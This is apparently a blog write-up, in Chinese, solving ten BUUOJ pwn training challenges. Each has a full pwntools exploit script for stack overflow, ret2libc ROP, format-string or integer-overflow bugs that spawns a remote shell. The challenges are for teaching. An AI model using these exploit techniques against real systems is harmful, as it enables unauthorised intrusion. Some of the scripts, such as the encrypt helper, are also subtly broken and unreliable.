buuoj Pwn wp 1-10

01 test_your_nc

在这里插入图片描述
直接连上就好了。

在这里插入图片描述
然后 cat flag 。

02 rip

ret2text.

在这里插入图片描述这题多多少少有点问题。
IDA里面是这样的,但是exp一直有问题,然后试着连上直接跑,是这样的。

在这里插入图片描述
栈溢出到返回地址就行。

from pwn import*

r = remote("node3.buuoj.cn",26737)
context.log_level = "debug"

system_addr = 0x401187

payload = 'a' * 23 + p64(system_addr)
r.sendline(payload)

r.interactive()

libc2.27以后 或者ubuntu18以后,system要求栈对齐。

参考链接1

参考链接2

03 warmup_csaw_2016

ret2text.

先查一下保护
在这里插入图片描述
确实是新手题,保护一点没有。
拖IDA

在这里插入图片描述后门函数在这里

扫描二维码关注公众号,回复: 12472264 查看本文章

在这里插入图片描述这里是漏洞点,就是gets函数导致一个栈溢出,所以直接ret2text。

exp

from pwn import*

r = remote("node3.buuoj.cn",26473)

payload = 'a' * 0x48  + p64(0x40060d)
r.sendlineafter(">",payload)

r.interactive()

04 pwn1_sctf_2016

ret2text.

在这里插入图片描述
查查保护,就开了个NX。

在这里插入图片描述

看这烦人的C++反编译

打远程的时候发现第一句话之前有个输入,但是上图中看不出来,于是看它的反汇编。

在这里插入图片描述
问题就处在上面这里,它是并列的……
就是c++里面那些特有的函数有点长

补充个函数。
C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

这个程序翻译过来就是,它会把你的输入里面的所有I替换成you,所以你看到其实你想栈溢出是不能的,因为可输入的长度不够,需要60的长度,所以你只需要输20个I,然后就能接溢出了。

这个题它的重点是C++的反汇编,里面多数是实现对string类的操作,比如重载+,=等等,分析的时候要有耐心慢慢来。

溢出的话还找到它的后门函数,就OK了。
在这里插入图片描述exp

from pwn import*

r = remote("node3.buuoj.cn",26776)
context.log_level = "debug"

payload = 'I' * 20  + 'aaaa'+ p32(0x8048F0D)
r.sendline(payload)


r.interactive()

05 ciscn_2019_n_1

ret2text.

在这里插入图片描述
查一波保护,有个堆栈不可执行,但是没关系,他有后门函数。

在这里插入图片描述
其实我首先想的是我能不能通过gets把v2覆盖成11.28125,我好好研究了一下python的float。

python的float与c的float完全不同,因此对python而言并不存在于一个float是四个字节的说法。
所以用python写脚本的话就直接写字节码进去算了。
在这里就不写了。

正常的话就是直接把返回地址改一下就好了。
exp

from pwn import*

context.log_level = "debug"
r = remote("node3.buuoj.cn",26325)

payload = 'a' * 0x38 + p64(0x4006be)  
r.sendlineafter("Let's guess the number.",payload)

r.interactive()

06 jarvisoj_level0

ret2text

在这里插入图片描述
在这里插入图片描述这没啥说的,里面有后门函数,直接栈溢出就好了。

exp

from pwn import*

r = remote('node3.buuoj.cn',25064)

payload = 'a' * 0x88 + p64(0x400596)
r.sendlineafter("Hello, World\n", payload)

r.interactive()

07 ciscn_2019_c_1

ROP
在这里插入图片描述在这里插入图片描述
这里要注意的是虽然有溢出,但是函数会对我们的输入进行加密,所以我们这里有两种办法。
第一种是绕过加密的过程,因为’\0’可以截断strlen函数,所以我们payload的第一个字符就’\0’就行。
第二种是我们先让我们的payload加密之后变成我们想要的ROP链。

在这里插入图片描述
特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐。

在这里插入图片描述这是ret的地址。

第一种的exp

#*-*utf8*-*

from pwn import*
from LibcSearcher import*

#r = process('./ciscn_2019_c_1')
r = remote("node3.buuoj.cn",25875)
context.log_level = "debug"

elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400c83
main_addr = 0x400b28
ret_addr = 0x4006b9

def send(payload):
    r.sendlineafter("Input your choice!\n",'1')
    r.sendlineafter("Input your Plaintext to be encrypted\n",payload)
#

#gdb.attach(r,'b *0x4009DD')
payload = '\0' + 'a' * 0x57 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
send(payload)
#r.recvuntil('Ciphertext')
#r.recvuntil('\n')
#要注意这里的两次接收,我注掉的两个是有问题的,因为puts在输出时会加一个'\n',那里有两个puts,所以两个recvline会好一点
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
#这个地方也要注意,这句话的意思是读到puts输出的'\n',然后通过python切片的方式把最后的'\n'切掉,再取8用'\0'左对齐。
#至于为什么是左对齐,小端序嘛。
print hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')

system_addr = libc_base + libc.dump("system")
bin_addr = libc_base + libc.dump('str_bin_sh')

payload = '\0' + 'a' * 0x57 + p64(ret_addr) + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
send(payload)


r.interactive()

第二种exp
一遍就过了

# -*- coding: utf-8 -*-

from pwn import*
from LibcSearcher import*

r = remote('node3.buuoj.cn',25875)
context.log_level = "debug"

elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400c83
main_addr = 0x400b28
ret_addr = 0x4006b9

def send(payload):
    r.sendlineafter("Input your choice!\n",'1')
    r.sendlineafter("Input your Plaintext to be encrypted\n",payload)
    
def encrypt(payload):
    for cha in payload:
        if cha <= 96 or cha > 122:
            if cha <= 64 or cha > 90:
                if cha > 47 and cha <= 57:
                    cha ^= 0xF
            else:
                cha ^= 0xE
        else:
            cha ^= 0xD
    return payload
    
payload = 'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
send(encrypt(payload))
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')

system_addr = libc_base + libc.dump("system")
bin_addr = libc_base + libc.dump('str_bin_sh')

payload = 'a' * 0x58 + p64(ret_addr) + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
send(encrypt(payload))


r.interactive()

08 [OGeek2019]babyrop

ret2libc

在这里插入图片描述
NX没开,不能写shellcode。

在这里插入图片描述开头这个fd = open("/dev/urandom",0)是打开系统文件。
/dev/random和/dev/urandom是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流。很多解密程序与安全应用程序(如SSH Keys,SSL Keys等)需要它们提供的随机数据流。
所以buf里面存着的是随机数。

进去是这样的

在这里插入图片描述先说一下sprintf函数。
int sprintf( char *buffer, const char *format [, argument] … );
除了前两个参数类型固定外,后面可以接任意多个参数。而它的精华,显然就在第二个参数:格式化字符串上。
printf 和sprintf都使用格式化字符串来指 定串的格式,在格式串内部使用一些以“%”开头的格式说明符(format specifications)来占据一个位置,在后边的变参列表中提供相应的变量,最终函数就会用相应位置的变量来替代那个说明符,产生一个调用者想要 的字符串。

说白了,跟printf的区别就是,printf直接输出到屏幕上,sprintf则是输出到buffer那个地方。

int strncmp(const char *str1, const char *str2, size_t n) 把 str1 和 str2 进行比较,最多比较前 n 个字节。
该函数返回值如下:

如果返回值 < 0,则表示 str1 小于 str2。
如果返回值 > 0,则表示 str2 小于 str1。
如果返回值 = 0,则表示 str1 等于 str2。

点一下可以直接看到%ld占四个字节
在这里插入图片描述
主函数输入四个字节,第一个函数将其放到s里面,再输入数字到buf,进行比较,不一样就直接退出。

第二个函数这里
在这里插入图片描述如果a1足够大明显会有一个栈溢出,第一个函数可以为这里创造条件,从而溢出。

那怎么在第一个函数里面创造那个条件?因为正常的话只能输入四个字节长度的,但是返回的那个值在buf[7]。我们还是用到上一道题的想法,strlen函数会被’\n’截断,所以我只要让buf里面第一个字节为’\n’,第八个字节是我们想要的长度,然后在第二个函数里面进行利用,就行了。而且发现最多输入255,好家伙,能给我们24位的自由发挥空间,ebp用4个,还有20个,刚好够write了再返回,我直呼好家伙啊。

然后ret2libc一把梭。

在跑脚本的时候最后还是遇到了点问题,记录一下。
在这里插入图片描述远程有问题,但是本地过得了。

据说他是因为服务器在迁移的时候环境变量做了一些改变。
所以我们得用execve函数。

在这里插入图片描述

关于one_gadget约束条件的玄学

但是后来发现,是因为他给的libc又下载不了,我自己好的libc又跟他的不一样,所以还是得用LibcSearcher。

exp

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',29554)
#r=process('./babyrop')
elf=ELF('./babyrop')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

payload1='\x00'+'a'*6+'\xff'
r.sendline(payload1)
r.recvuntil('Correct\n')

payload='a'*0xe7+'b'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)

read_addr=u32(r.recv(4))

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

r.sendline(payload1)
r.recvuntil('Correct\n')
payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

09 [第五空间2019 决赛]PWN5

格式化字符串漏洞

在这里插入图片描述
思路很简单,里面先是整了个随机数,然后你输入数字,进行比较,相等就拿到shell。

先把它的偏移试出来。

在这里插入图片描述它的偏移试10。

它里面让你输入你的名字,输名字的时候明显的格式化字符串漏洞,那其实我们有两种思路。

第一种是我们可以把那个地址任意写一下,写成我们想要的。
第二种是我们可以先把那个地址的数据读出来,然后输的时候跟这个输的一样了。

我试图都实现一下。

第一种
exp

from pwn import*

context.log_level = "debug"

#r = remote("node3.buuoj.cn",25879)
r = process('./pwn5')
#gdb.attach(r)
number_addr = 0x0804C044

payload = p32(number_addr) + "%10$n"
#那个覆盖的

r.sendlineafter("your name:", payload)
r.sendlineafter("your passwd:", '4')
#这个地方要注意不能是p32(4)
#因为你看那里有个atoi函数,将输入的字符串转换为整数

r.interactive()
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{
    
    unk_804C044:0x1111})
#这个工具非常好用。

p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()

第二种
exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"
r = process('./pwn5')
#gdb.attach(r)
number_addr = 0x0804C044

payload = p32(number_addr) + '%10$s'
r.sendlineafter("your name:", payload)
r.recvuntil(p32(number_addr))

number = u32(r.recv(4))
print hex(number)
print str(number)
r.sendlineafter("your passwd:", str(number))

r.interactive()

ps:
第二种方法要做个记录,调老半天来着。
在这里插入图片描述
这个地方得到那个数字之后不要转十进制,因为下面read的时候会按字符读进去,也不要p32,读进去的字符会在下面通过atoi函数转换成数字,从而进行比较。

10 r2t3

整数溢出 ret2text
在这里插入图片描述保护就开了个NX,不能写shellcode
在这里插入图片描述也没有syscall。

为什么要查一查syscall,其实是因为我刚开始没找到后门函数。我还想半天它为啥要说是ret2text。
在这里插入图片描述这里有很明显的栈溢出,但是有个判断,判断呢又是通过strlen函数来的,本来想着老办法绕过就好。

但是发现如果通过’\x00’截断strlen,下面的strcpy也会被截断。

于是想到了整数溢出。

那个数字是无符号单字节,0-255,数字再大就从0开始。

只要输入的长度保持在0x104到0x108即可。

exp

from pwn import*
context.log_level = "debug"

r = remote('node3.buuoj.cn', 28459)

system_addr = 0x0804858B

payload = 'a' * 0x11 + 'bbbb' + p32(system_addr)
payload = payload.ljust(260, 'a')
#payload这样写

r.sendlineafter('[+]Please input your name:', payload)

r.interactive()

进阶exp 用了pwntools的模板

from pwn import * 
from LibcSearcher import * 
context(log_level = 'debug',arch ='i386',os = 'linux' ) 
r = remote('node3.buuoj.cn', 27904) 
#r = process('./r2t3') 
elf = ELF('./r2t3') 
rop = ROP(elf) 

#r.recvuntil('name:')
p = flat(['a'*0x11,'b'*4, 0x0804858B])
p = p.ljust(260, 'a')
r.sendlineafter('name:',p)
#r.sendline(p)

r.interactive()

猜你喜欢

转载自blog.csdn.net/yongbaoii/article/details/110188853
今日推荐